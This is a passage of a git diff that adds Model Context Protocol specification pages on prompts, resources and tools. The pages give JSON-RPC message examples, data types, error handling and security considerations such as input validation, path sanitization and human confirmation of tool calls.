+ "description": "The code to review",
+ "required": true
+ }
+ ],
+ "icons": [
+ {
+ "src": "https://example.com/review-icon.svg",
+ "mimeType": "image/svg+xml",
+ "sizes": ["any"]
+ }
+ ]
+ }
+ ],
+ "nextCursor": "next-page-cursor",
+ "ttlMs": 600000,
+ "cacheScope": "public"
+ }
+}
+```
+
+### Getting a Prompt
+
+To retrieve a specific prompt, clients send a `prompts/get` request. Arguments may be
+auto-completed through [the completion API](/specification/2026-07-28/server/utilities/completion).
+
+**Request:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 2,
+ "method": "prompts/get",
+ "params": {
+ "name": "code_review",
+ "arguments": {
+ "code": "def hello():\n print('world')"
+ }
+ }
+}
+```
+
+**Response:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 2,
+ "result": {
+ "resultType": "complete",
+ "description": "Code review prompt",
+ "messages": [
+ {
+ "role": "user",
+ "content": {
+ "type": "text",
+ "text": "Please review this Python code:\ndef hello():\n print('world')"
+ }
+ }
+ ]
+ }
+}
+```
+
+Servers **MAY** also respond to `prompts/get` with an [`InputRequiredResult`](/specification/2026-07-28/basic/patterns/mrtr#inputrequiredresult) to indicate that additional input is needed before the prompt can be resolved. This follows the [multi round-trip requests](/specification/2026-07-28/basic/patterns/mrtr#multi-round-trip-requests) mechanism. When retrying the request, clients include `inputResponses` and, if provided by the server, `requestState` in the request parameters.
+
+### List Changed Notification
+
+When the list of available prompts changes, servers that declared the `listChanged`
+capability **SHOULD** send a notification to clients that have opened a
+[`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions) stream with
+`promptsListChanged: true`:
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "method": "notifications/prompts/list_changed"
+}
+```
+
+## Message Flow
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant Server
+
+ Note over Client,Server: Discovery
+ Client->>Server: prompts/list
+ Server-->>Client: List of prompts
+
+ Note over Client,Server: Usage
+ Client->>Server: prompts/get
+ Server-->>Client: Prompt content
+
+ opt listChanged
+ Client->>Server: subscriptions/listen (promptsListChanged: true)
+ Server--)Client: notifications/subscriptions/acknowledged
+ Note over Client,Server: Changes
+ Server--)Client: notifications/prompts/list_changed
+ Client->>Server: prompts/list
+ Server-->>Client: Updated prompts
+ end
+```
+
+## Data Types
+
+### Prompt
+
+A prompt definition includes:
+
+* `name`: Unique identifier for the prompt
+* `title`: Optional human-readable name of the prompt for display purposes.
+* `description`: Optional human-readable description
+* `icons`: Optional array of icons for display in user interfaces
+* `arguments`: Optional list of arguments for customization
+
+### PromptMessage
+
+Messages in a prompt can contain:
+
+* `role`: Either "user" or "assistant" to indicate the speaker
+* `content`: One of the following content types:
+
+
+ All content types in prompt messages support optional
+ [annotations](/specification/2026-07-28/server/resources#annotations) for
+ metadata about audience, priority, and modification times.
+
+
+#### Text Content
+
+Text content represents plain text messages:
+
+```json theme={null}
+{
+ "type": "text",
+ "text": "The text content of the message"
+}
+```
+
+This is the most common content type used for natural language interactions.
+
+#### Image Content
+
+Image content allows including visual information in messages:
+
+```json theme={null}
+{
+ "type": "image",
+ "data": "base64-encoded-image-data",
+ "mimeType": "image/png"
+}
+```
+
+The image data **MUST** be base64-encoded and include a valid MIME type. This enables
+multi-modal interactions where visual context is important.
+
+#### Audio Content
+
+Audio content allows including audio information in messages:
+
+```json theme={null}
+{
+ "type": "audio",
+ "data": "base64-encoded-audio-data",
+ "mimeType": "audio/wav"
+}
+```
+
+The audio data MUST be base64-encoded and include a valid MIME type. This enables
+multi-modal interactions where audio context is important.
+
+#### Resource Links
+
+Prompt messages **MAY** include links to
+[Resources](/specification/2026-07-28/server/resources), to provide additional context or
+data without embedding the resource contents directly. In this case, the prompt message
+returns a URI that can be fetched by the client:
+
+```json theme={null}
+{
+ "type": "resource_link",
+ "uri": "file:///project/src/main.rs",
+ "name": "main.rs",
+ "description": "Primary application entry point",
+ "mimeType": "text/x-rust"
+}
+```
+
+Resource links support the same [Resource annotations](/specification/2026-07-28/server/resources#annotations)
+as regular resources to help clients understand how to use them.
+
+#### Embedded Resources
+
+Embedded resources allow referencing server-side resources directly in messages:
+
+```json theme={null}
+{
+ "type": "resource",
+ "resource": {
+ "uri": "resource://example",
+ "mimeType": "text/plain",
+ "text": "Resource content"
+ }
+}
+```
+
+Resources can contain either text or binary (blob) data and **MUST** include:
+
+* A valid resource URI
+* The appropriate MIME type
+* Either text content or base64-encoded blob data
+
+Embedded resources enable prompts to seamlessly incorporate server-managed content like
+documentation, code samples, or other reference materials directly into the conversation
+flow.
+
+## Error Handling
+
+Servers **SHOULD** return standard JSON-RPC errors for common failure cases:
+
+* Invalid prompt name: `-32602` (Invalid params)
+* Missing required arguments: `-32602` (Invalid params)
+* Internal errors: `-32603` (Internal error)
+
+## Implementation Considerations
+
+1. Servers **SHOULD** validate prompt arguments before processing
+2. Clients **SHOULD** handle pagination for large prompt lists
+3. Both parties **SHOULD** respect capability negotiation
+
+## Security
+
+Implementations **MUST** carefully validate all prompt inputs and outputs to prevent
+injection attacks or unauthorized access to resources.
diff --git a/content/mcp/specification/2026-07-28/server/resources.md b/content/mcp/specification/2026-07-28/server/resources.md
new file mode 100644
index 000000000..2e29525ae
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/server/resources.md
@@ -0,0 +1,438 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Resources
+
+
+
+The Model Context Protocol (MCP) provides a standardized way for servers to expose
+resources to clients. Resources allow servers to share data that provides context to
+language models, such as files, database schemas, or application-specific information.
+Each resource is uniquely identified by a
+[URI](https://datatracker.ietf.org/doc/html/rfc3986).
+
+
+ For brevity, the request examples on this page omit the `_meta` request
+ metadata (`io.modelcontextprotocol/protocolVersion`,
+ `io.modelcontextprotocol/clientInfo`, and
+ `io.modelcontextprotocol/clientCapabilities`). Every request **MUST** include
+ the required `_meta` fields; see
+ [`_meta`](/specification/2026-07-28/basic/index#meta).
+
+
+## User Interaction Model
+
+Resources in MCP are designed to be **application-driven**, with host applications
+determining how to incorporate context based on their needs.
+
+For example, applications could:
+
+* Expose resources through UI elements for explicit selection, in a tree or list view
+* Allow the user to search through and filter available resources
+* Implement automatic context inclusion, based on heuristics or the AI model's selection
+
+
+
+However, implementations are free to expose resources through any interface pattern that
+suits their needs—the protocol itself does not mandate any specific user
+interaction model.
+
+## Capabilities
+
+Servers that support resources **MUST** declare the `resources` capability:
+
+```json theme={null}
+{
+ "capabilities": {
+ "resources": {
+ "listChanged": true,
+ "subscribe": true
+ }
+ }
+}
+```
+
+The capability supports two optional features:
+
+* `listChanged`: whether the server will emit notifications when the list of available
+ resources changes.
+* `subscribe` : whether the server supports resource-specific update notifications
+ for resources requested through subscriptions/listen using the resourceSubscriptions
+ filter.
+
+Servers may advertise either feature independently, together or neither.
+
+Serves that support neither `listChanged` or `subscribe` may omit it:
+
+```json theme={null}
+{
+ "capabilities": {
+ "resources": {}
+ }
+}
+```
+
+Servers that declare the `resources` capability **MUST** respond to `resources/list`
+requests with the set of resources currently available to the requesting client. This set
+**MAY** be empty and **MAY** change over time (see
+[List Changed Notification](#list-changed-notification)), but **MUST NOT** vary
+per-connection or as a side effect of other requests on the connection. The set
+**MAY** vary by the authorization presented on the request — for example, returning
+only the resources the caller's granted scopes permit — since credentials are
+per-request input, not connection state.
+
+## Protocol Messages
+
+### Listing Resources
+
+To discover available resources, clients send a `resources/list` request. This operation
+supports [pagination](/specification/2026-07-28/server/utilities/pagination) and [caching](/specification/2026-07-28/server/utilities/caching).
+
+**Request:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 1,
+ "method": "resources/list",
+ "params": {
+ "cursor": "optional-cursor-value"
+ }
+}
+```
+
+**Response:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 1,
+ "result": {
+ "resultType": "complete",
+ "resources": [
+ {
+ "uri": "file:///project/src/main.rs",
+ "name": "main.rs",
+ "title": "Rust Software Application Main File",
+ "description": "Primary application entry point",
+ "mimeType": "text/x-rust",
+ "icons": [
+ {
+ "src": "https://example.com/rust-file-icon.png",
+ "mimeType": "image/png",
+ "sizes": ["48x48"]
+ }
+ ]
+ }
+ ],
+ "nextCursor": "next-page-cursor",
+ "ttlMs": 300000,
+ "cacheScope": "public"
+ }
+}
+```
+
+### Reading Resources
+
+To retrieve resource contents, clients send a `resources/read` request. This operation
+supports [caching](/specification/2026-07-28/server/utilities/caching).
+
+**Request:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 2,
+ "method": "resources/read",
+ "params": {
+ "uri": "file:///project/src/main.rs"
+ }
+}
+```
+
+**Response:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 2,
+ "result": {
+ "resultType": "complete",
+ "contents": [
+ {
+ "uri": "file:///project/src/main.rs",
+ "mimeType": "text/x-rust",
+ "text": "fn main() {\n println!(\"Hello world!\");\n}"
+ }
+ ],
+ "ttlMs": 60000,
+ "cacheScope": "private"
+ }
+}
+```
+
+Servers **MAY** return multiple resource contents in response to a single
+`resources/read` request. For example, a server could return the contents of
+several files when a directory resource is read.
+
+Servers **MAY** also respond to `resources/read` with an [`InputRequiredResult`](/specification/2026-07-28/basic/patterns/mrtr#inputrequiredresult) to indicate that additional input is needed before the resource can be read. This follows the [multi round-trip requests](/specification/2026-07-28/basic/patterns/mrtr#multi-round-trip-requests) mechanism. When retrying the request, clients include `inputResponses` and, if provided by the server, `requestState` in the request parameters.
+
+Alternatively, if the scheme of `uri` is `https://`, clients may fetch the resource directly from the web. See the [Common URI Schemes section](#https%3A%2F%2F) for more information.
+
+### Resource Templates
+
+Resource templates allow servers to expose parameterized resources using
+[URI templates](https://datatracker.ietf.org/doc/html/rfc6570). Arguments may be
+auto-completed through [the completion API](/specification/2026-07-28/server/utilities/completion).
+This operation supports [pagination](/specification/2026-07-28/server/utilities/pagination) and [caching](/specification/2026-07-28/server/utilities/caching).
+
+**Request:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 3,
+ "method": "resources/templates/list",
+ "params": {
+ "cursor": "optional-cursor-value"
+ }
+}
+```
+
+**Response:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 3,
+ "result": {
+ "resultType": "complete",
+ "resourceTemplates": [
+ {
+ "uriTemplate": "file:///{path}",
+ "name": "Project Files",
+ "title": "📁 Project Files",
+ "description": "Access files in the project directory",
+ "mimeType": "application/octet-stream",
+ "icons": [
+ {
+ "src": "https://example.com/folder-icon.png",
+ "mimeType": "image/png",
+ "sizes": ["48x48"]
+ }
+ ]
+ }
+ ],
+ "nextCursor": "next-page-cursor",
+ "ttlMs": 300000,
+ "cacheScope": "public"
+ }
+}
+```
+
+### List Changed Notification
+
+When the list of available resources changes, servers that declared the `listChanged`
+capability **SHOULD** send a notification:
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "method": "notifications/resources/list_changed"
+}
+```
+
+### Subscriptions
+
+Clients subscribe to change notifications for specific resources by sending a
+[`subscriptions/listen`][subscriptions-listen] request with the resource URIs listed in
+`notifications.resourceSubscriptions`. The server delivers
+`notifications/resources/updated` on the resulting stream whenever a watched resource
+changes.
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "method": "notifications/resources/updated",
+ "params": {
+ "_meta": { "io.modelcontextprotocol/subscriptionId": 4 },
+ "uri": "file:///project/src/main.rs"
+ }
+}
+```
+
+See [Subscriptions][subscriptions] for the full protocol mechanics (acknowledgment,
+`subscriptionId` correlation, and cancellation).
+
+[subscriptions-listen]: /specification/2026-07-28/schema#subscriptionslistenrequest
+
+[subscriptions]: /specification/2026-07-28/basic/patterns/subscriptions
+
+## Message Flow
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant Server
+
+ Note over Client,Server: Resource Discovery
+ Client->>Server: resources/list
+ Server-->>Client: List of resources
+
+ Note over Client,Server: Resource Template Discovery
+ Client->>Server: resources/templates/list
+ Server-->>Client: List of resource templates
+
+ Note over Client,Server: Resource Access
+ Client->>Server: resources/read
+ Server-->>Client: Resource contents
+
+ Note over Client,Server: Subscribe to changes
+ Client->>Server: subscriptions/listen (resourceSubscriptions)
+ Server--)Client: notifications/subscriptions/acknowledged
+
+ Note over Client,Server: Resource updated
+ Server--)Client: notifications/resources/updated
+ Client->>Server: resources/read
+ Server-->>Client: Updated contents
+```
+
+## Data Types
+
+### Resource
+
+A resource definition includes:
+
+* `uri`: Unique identifier for the resource
+* `name`: The name of the resource.
+* `title`: Optional human-readable name of the resource for display purposes.
+* `description`: Optional description
+* `icons`: Optional array of icons for display in user interfaces
+* `mimeType`: Optional MIME type
+* `size`: Optional size in bytes
+
+### Resource Contents
+
+Resources can contain either text or binary data:
+
+#### Text Content
+
+```json theme={null}
+{
+ "uri": "file:///example.txt",
+ "mimeType": "text/plain",
+ "text": "Resource content"
+}
+```
+
+#### Binary Content
+
+```json theme={null}
+{
+ "uri": "file:///example.png",
+ "mimeType": "image/png",
+ "blob": "base64-encoded-data"
+}
+```
+
+### Annotations
+
+Resources, resource templates and content blocks support optional annotations that provide hints to clients about how to use or display the resource:
+
+* **`audience`**: An array indicating the intended audience(s) for this resource. Valid values are `"user"` and `"assistant"`. For example, `["user", "assistant"]` indicates content useful for both.
+* **`priority`**: A number from 0.0 to 1.0 indicating the importance of this resource. A value of 1 means "most important" (effectively required), while 0 means "least important" (entirely optional).
+* **`lastModified`**: An ISO 8601 formatted timestamp indicating when the resource was last modified (e.g., `"2025-01-12T15:00:58Z"`).
+
+Example resource with annotations:
+
+```json theme={null}
+{
+ "uri": "file:///project/README.md",
+ "name": "README.md",
+ "title": "Project Documentation",
+ "mimeType": "text/markdown",
+ "annotations": {
+ "audience": ["user"],
+ "priority": 0.8,
+ "lastModified": "2025-01-12T15:00:58Z"
+ }
+}
+```
+
+Clients can use these annotations to:
+
+* Filter resources based on their intended audience
+* Prioritize which resources to include in context
+* Display modification times or sort by recency
+
+## Common URI Schemes
+
+The protocol defines several standard URI schemes. This list is not
+exhaustive—implementations are always free to use additional, custom URI schemes.
+
+### https\://
+
+Used to represent a resource available on the web.
+
+Servers **SHOULD** use this scheme only when the client is able to fetch and load the
+resource directly from the web on its own—that is, it doesn’t need to read the resource
+via the MCP server.
+
+For other use cases, servers **SHOULD** prefer to use another URI scheme, or define a
+custom one, even if the server will itself be downloading resource contents over the
+internet.
+
+### file://
+
+Used to identify resources that behave like a filesystem. However, the resources do not
+need to map to an actual physical filesystem.
+
+MCP servers **MAY** identify file:// resources with an
+[XDG MIME type](https://specifications.freedesktop.org/shared-mime-info-spec/0.14/ar01s02.html#id-1.3.14),
+like `inode/directory`, to represent non-regular files (such as directories) that don’t
+otherwise have a standard MIME type.
+
+### git://
+
+Git version control integration.
+
+### Custom URI Schemes
+
+Custom URI schemes **MUST** be in accordance with [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986),
+taking the above guidance in to account.
+
+## Error Handling
+
+If the requested resource does not exist, servers **MUST** return a JSON-RPC error with
+code `-32602` (Invalid Params). Servers **SHOULD** return `-32603` for internal errors.
+
+For backwards compatibility, clients **SHOULD** also accept `-32002` as a
+resource not found error, as earlier protocol versions used this code.
+
+Servers **MUST NOT** return an empty `contents` array for a non-existent resource. An empty array is ambiguous—it could mean the resource exists but has no content, or that it doesn't exist at all.
+
+Example error:
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 5,
+ "error": {
+ "code": -32602,
+ "message": "Resource not found",
+ "data": {
+ "uri": "file:///nonexistent.txt"
+ }
+ }
+}
+```
+
+## Security Considerations
+
+1. Servers **MUST** validate all resource URIs
+2. Access controls **SHOULD** be implemented for sensitive resources
+3. Binary data **MUST** be properly encoded
+4. Resource permissions **SHOULD** be checked before operations
+5. Servers **MUST** sanitize file paths to prevent directory traversal attacks
+ when serving `file://` resources
diff --git a/content/mcp/specification/2026-07-28/server/tools.md b/content/mcp/specification/2026-07-28/server/tools.md
new file mode 100644
index 000000000..bbd448b5c
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/server/tools.md
@@ -0,0 +1,797 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Tools
+
+
+
+The Model Context Protocol (MCP) allows servers to expose tools that can be invoked by
+language models. Tools enable models to interact with external systems, such as querying
+databases, calling APIs, or performing computations. Each tool is uniquely identified by
+a name and includes metadata describing its schema.
+
+
+ For brevity, the request examples on this page omit the `_meta` request
+ metadata (`io.modelcontextprotocol/protocolVersion`,
+ `io.modelcontextprotocol/clientInfo`, and
+ `io.modelcontextprotocol/clientCapabilities`). Every request **MUST** include
+ the required `_meta` fields; see
+ [`_meta`](/specification/2026-07-28/basic/index#meta).
+
+
+## User Interaction Model
+
+Tools in MCP are designed to be **model-controlled**, meaning that the language model can
+discover and invoke tools automatically based on its contextual understanding and the
+user's prompts.
+
+However, implementations are free to expose tools through any interface pattern that
+suits their needs—the protocol itself does not mandate any specific user
+interaction model.
+
+
+ For trust & safety and security, there **SHOULD** always
+ be a human in the loop with the ability to deny tool invocations.
+
+ Applications **SHOULD**:
+
+ * Provide UI that makes clear which tools are being exposed to the AI model
+ * Insert clear visual indicators when tools are invoked
+ * Present confirmation prompts to the user for operations, to ensure a human is in the
+ loop
+
+
+## Capabilities
+
+Servers that support tools **MUST** declare the `tools` capability:
+
+```json theme={null}
+{
+ "capabilities": {
+ "tools": {
+ "listChanged": true
+ }
+ }
+}
+```
+
+`listChanged` indicates whether the server will emit notifications when the list of
+available tools changes.
+
+Servers that declare the `tools` capability **MUST** respond to `tools/list` requests
+with the set of tools currently available to the requesting client. This set **MAY** be
+empty and **MAY** change over time (see
+[List Changed Notification](#list-changed-notification)), but **MUST NOT** vary
+per-connection or as a side effect of other requests on the connection. The set
+**MAY** vary by the authorization presented on the request — for example, returning
+only the tools the caller's granted scopes permit — since credentials are
+per-request input, not connection state.
+
+Servers **SHOULD** return tools in a deterministic order (i.e., the same ordering across
+requests when the underlying set of tools has not changed). Deterministic ordering enables
+clients to reliably cache the tool list and improves LLM prompt cache hit rates when tools
+are included in model context.
+
+## Protocol Messages
+
+### Listing Tools
+
+To discover available tools, clients send a `tools/list` request. This operation supports
+[pagination](/specification/2026-07-28/server/utilities/pagination) and [caching](/specification/2026-07-28/server/utilities/caching).
+
+**Request:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 1,
+ "method": "tools/list",
+ "params": {
+ "cursor": "optional-cursor-value"
+ }
+}
+```
+
+**Response:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 1,
+ "result": {
+ "resultType": "complete",
+ "tools": [
+ {
+ "name": "get_weather",
+ "title": "Weather Information Provider",
+ "description": "Get current weather information for a location",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "location": {
+ "type": "string",
+ "description": "City name or zip code"
+ }
+ },
+ "required": ["location"]
+ },
+ "icons": [
+ {
+ "src": "https://example.com/weather-icon.png",
+ "mimeType": "image/png",
+ "sizes": ["48x48"]
+ }
+ ]
+ }
+ ],
+ "nextCursor": "next-page-cursor",
+ "ttlMs": 300000,
+ "cacheScope": "public"
+ }
+}
+```
+
+### Calling Tools
+
+To invoke a tool, clients send a `tools/call` request:
+
+**Request:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 2,
+ "method": "tools/call",
+ "params": {
+ "name": "get_weather",
+ "arguments": {
+ "location": "New York"
+ }
+ }
+}
+```
+
+**Response:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 2,
+ "result": {
+ "resultType": "complete",
+ "content": [
+ {
+ "type": "text",
+ "text": "Current weather in New York:\nTemperature: 72°F\nConditions: Partly cloudy"
+ }
+ ],
+ "isError": false
+ }
+}
+```
+
+### Input Required Tool Results
+
+Servers **MAY** respond to `tools/call` with an [`InputRequiredResult`](/specification/2026-07-28/basic/patterns/mrtr#inputrequiredresult) to indicate that additional input is needed before the tool call can be completed. This follows the [multi round-trip requests](/specification/2026-07-28/basic/patterns/mrtr#multi-round-trip-requests) mechanism.
+
+When retrying the request with input responses, clients include `inputResponses` and, if provided by the server, `requestState` in the request parameters:
+
+**Input Required Response:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 2,
+ "result": {
+ "resultType": "input_required",
+ "inputRequests": {
+ "github_login": {
+ "method": "elicitation/create",
+ "params": {
+ "mode": "form",
+ "message": "Please provide your GitHub username",
+ "requestedSchema": {
+ "type": "object",
+ "properties": {
+ "name": { "type": "string" }
+ },
+ "required": ["name"]
+ }
+ }
+ }
+ },
+ "requestState": "eyJsb2NhdGlvbiI6Ik5ldyBZb3JrIn0..."
+ }
+}
+```
+
+**Retry with Input Responses:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 3,
+ "method": "tools/call",
+ "params": {
+ "name": "get_weather",
+ "arguments": {
+ "location": "New York"
+ },
+ "inputResponses": {
+ "github_login": {
+ "action": "accept",
+ "content": {
+ "name": "octocat"
+ }
+ }
+ },
+ "requestState": "eyJsb2NhdGlvbiI6Ik5ldyBZb3JrIn0..."
+ }
+}
+```
+
+Note that the JSON-RPC `id` **MUST** be different between the initial request and the retry.
+
+### List Changed Notification
+
+When the list of available tools changes, servers that declared the `listChanged`
+capability **SHOULD** send a notification to clients that have opened a
+[`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions) stream with
+`toolsListChanged: true`:
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "method": "notifications/tools/list_changed"
+}
+```
+
+## Message Flow
+
+```mermaid theme={null}
+sequenceDiagram
+ participant LLM
+ participant Client
+ participant Server
+
+ Note over Client,Server: Discovery
+ Client->>Server: tools/list
+ Server-->>Client: List of tools
+
+ Note over Client,LLM: Tool Selection
+ LLM->>Client: Select tool to use
+
+ Note over Client,Server: Invocation
+ Client->>Server: tools/call
+ Server-->>Client: Tool result
+ Client->>LLM: Process result
+
+ opt listChanged
+ Client->>Server: subscriptions/listen (toolsListChanged: true)
+ Server--)Client: notifications/subscriptions/acknowledged
+ Note over Client,Server: Updates
+ Server--)Client: notifications/tools/list_changed
+ Client->>Server: tools/list
+ Server-->>Client: Updated tools
+ end
+```
+
+## Data Types
+
+### Tool
+
+A tool definition includes:
+
+* `name`: Unique identifier for the tool
+* `title`: Optional human-readable name of the tool for display purposes.
+* `description`: Human-readable description of functionality
+* `icons`: Optional array of icons for display in user interfaces
+* `inputSchema`: JSON Schema defining expected parameters
+ * Follows the [JSON Schema usage guidelines](/specification/2026-07-28/basic#json-schema-usage)
+ * Defaults to 2020-12 if no `$schema` field is present
+ * **MUST** be a valid JSON Schema object (not `null`)
+ * For tools with no parameters, use one of these valid approaches:
+ * `{ "type": "object", "additionalProperties": false }` - **Recommended**: explicitly accepts only empty objects
+ * `{ "type": "object" }` - accepts any object (including with properties)
+ * Properties **MAY** include an [`x-mcp-header`](#x-mcp-header) annotation to expose
+ parameter values as HTTP headers
+* `outputSchema`: Optional JSON Schema defining expected output structure
+ * Follows the [JSON Schema usage guidelines](/specification/2026-07-28/basic#json-schema-usage)
+ * Defaults to 2020-12 if no `$schema` field is present
+* `annotations`: Optional properties describing tool behavior
+
+
+ For trust & safety and security, clients **MUST** consider tool annotations to
+ be untrusted unless they come from trusted servers.
+
+
+#### Tool Names
+
+* Tool names **SHOULD** be between 1 and 128 characters in length (inclusive).
+* Tool names **SHOULD** be considered case-sensitive.
+* The following **SHOULD** be the only allowed characters: uppercase and lowercase ASCII letters (A-Z, a-z), digits
+ (0-9), underscore (\_), hyphen (-), and dot (.)
+* Tool names **SHOULD NOT** contain spaces, commas, or other special characters.
+* Tool names **SHOULD** be unique within a server.
+* Example valid tool names:
+ * `getUser`
+ * `DATA_EXPORT_v2`
+ * `admin.tools.list`
+
+
+ Tool name uniqueness is scoped to a single server. Clients or proxies that
+ aggregate tools from multiple servers **MAY** encounter naming collisions (for
+ example, two servers each exposing a `search` tool) and **SHOULD** implement a
+ disambiguation strategy such as prefixing tool names with a server identifier.
+
+ The server `name` (from `serverInfo`) is not guaranteed to be unique across
+ servers and **SHOULD NOT** be relied upon for disambiguation.
+
+
+#### x-mcp-header
+
+The `x-mcp-header` extension property allows servers to designate specific tool
+parameters to be mirrored into HTTP headers when using the
+[Streamable HTTP transport](/specification/2026-07-28/basic/transports/streamable-http#custom-headers-from-tool-parameters).
+This enables network intermediaries (load balancers, proxies, WAFs) to route and process
+requests based on parameter values without parsing the request body.
+
+The `x-mcp-header` property is placed directly within the JSON Schema of the property to
+be mirrored. Its value specifies the name portion of the resulting `Mcp-Param-{name}`
+HTTP header.
+
+**Constraints on `x-mcp-header` values:**
+
+* **MUST NOT** be empty
+* **MUST** match HTTP field-name token syntax (`1*tchar`, [RFC 9110 Section 5.1](https://datatracker.ietf.org/doc/html/rfc9110#section-5.1))
+* **MUST NOT** contain control characters, including carriage return (CR, `\r`) or
+ line feed (LF, `\n`)
+* **MUST** be case-insensitively unique among all `x-mcp-header` values in the
+ `inputSchema`
+* **MUST** only be applied to parameters with primitive types (integer, string, boolean).
+ Parameters with type `number` are not permitted. Integer values **MUST** be within the
+ safe range for integers represented using IEEE754 double-precision floating point numbers (−253+1 to 253−1)
+* **MUST** only be applied to properties that are *statically reachable* from the schema
+ root, as defined in
+ [Custom Headers from Tool Parameters](/specification/2026-07-28/basic/transports/streamable-http#custom-headers-from-tool-parameters),
+ which also defines how header values are extracted from call arguments
+
+Clients using the Streamable HTTP transport **MUST** reject tool definitions where any
+`x-mcp-header` value violates these constraints. Rejection means the client **MUST**
+exclude the invalid tool from the result of `tools/list`. Clients **SHOULD** log a
+warning when rejecting a tool definition, including the tool name and the reason for
+rejection. This ensures that a single malformed tool definition does not prevent other
+valid tools from being used. Clients using other transports (e.g., stdio) **MAY** ignore
+`x-mcp-header` annotations entirely.
+
+**Example tool definition with `x-mcp-header`:**
+
+```json theme={null}
+{
+ "name": "execute_sql",
+ "description": "Execute SQL on Google Cloud Spanner",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "region": {
+ "type": "string",
+ "description": "The region to execute the query in",
+ "x-mcp-header": "Region"
+ },
+ "query": {
+ "type": "string",
+ "description": "The SQL query to execute"
+ }
+ },
+ "required": ["region", "query"]
+ }
+}
+```
+
+In this example, when the tool is called with `"region": "us-west1"`, the client adds
+the header `Mcp-Param-Region: us-west1` to the HTTP request.
+
+
+ Server developers **SHOULD NOT** mark sensitive parameters (passwords, API keys, tokens,
+ PII) with `x-mcp-header`, as header values are visible to network intermediaries.
+
+
+### Tool Result
+
+Tool results may contain [**structured**](#structured-content) or **unstructured** content.
+
+**Unstructured** content is returned in the `content` field of a result, and can contain multiple content items of different types:
+
+
+ All content types (text, image, audio, resource links, and embedded resources)
+ support optional
+ [annotations](/specification/2026-07-28/server/resources#annotations) that
+ provide metadata about audience, priority, and modification times. This is the
+ same annotation format used by resources and prompts.
+
+
+#### Text Content
+
+```json theme={null}
+{
+ "type": "text",
+ "text": "Tool result text"
+}
+```
+
+#### Image Content
+
+```json theme={null}
+{
+ "type": "image",
+ "data": "base64-encoded-data",
+ "mimeType": "image/png",
+ "annotations": {
+ "audience": ["user"],
+ "priority": 0.9
+ }
+}
+```
+
+#### Audio Content
+
+```json theme={null}
+{
+ "type": "audio",
+ "data": "base64-encoded-audio-data",
+ "mimeType": "audio/wav"
+}
+```
+
+#### Resource Links
+
+A tool **MAY** return links to [Resources](/specification/2026-07-28/server/resources), to provide additional context
+or data. In this case, the tool will return a URI that can be subscribed to or fetched by the client:
+
+```json theme={null}
+{
+ "type": "resource_link",
+ "uri": "file:///project/src/main.rs",
+ "name": "main.rs",
+ "description": "Primary application entry point",
+ "mimeType": "text/x-rust"
+}
+```
+
+Resource links support the same [Resource annotations](/specification/2026-07-28/server/resources#annotations) as regular resources to help clients understand how to use them.
+
+
+ Resource links returned by tools are not guaranteed to appear in the results
+ of a `resources/list` request.
+
+
+#### Embedded Resources
+
+[Resources](/specification/2026-07-28/server/resources) **MAY** be embedded to provide additional context
+or data using a suitable [URI scheme](./resources#common-uri-schemes). Servers that use embedded resources **SHOULD** implement the `resources` capability:
+
+```json theme={null}
+{
+ "type": "resource",
+ "resource": {
+ "uri": "file:///project/src/main.rs",
+ "mimeType": "text/x-rust",
+ "text": "fn main() {\n println!(\"Hello world!\");\n}",
+ "annotations": {
+ "audience": ["user", "assistant"],
+ "priority": 0.7,
+ "lastModified": "2025-05-03T14:30:00Z"
+ }
+ }
+}
+```
+
+Embedded resources support the same [Resource annotations](/specification/2026-07-28/server/resources#annotations) as regular resources to help clients understand how to use them.
+
+#### Structured Content
+
+**Structured** content is returned as a JSON value in the `structuredContent` field of a result. This can be any JSON value (object, array, string, number, boolean, or null) that conforms to the tool's `outputSchema` if one is defined.
+
+For backwards compatibility, a tool that returns structured content SHOULD also return the serialized JSON in a TextContent block.
+
+
+ `structuredContent` is server-produced result data and is unrelated to LLM
+ "structured outputs" (schema-constrained model generation).
+
+
+#### Output Schema
+
+Tools may also provide an output schema for validation of structured results.
+If an output schema is provided:
+
+* Servers **MUST** provide structured results that conform to this schema.
+* Clients **SHOULD** validate structured results against this schema.
+
+Example tool with output schema:
+
+```json theme={null}
+{
+ "name": "get_weather_data",
+ "title": "Weather Data Retriever",
+ "description": "Get current weather data for a location",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "location": {
+ "type": "string",
+ "description": "City name or zip code"
+ }
+ },
+ "required": ["location"]
+ },
+ "outputSchema": {
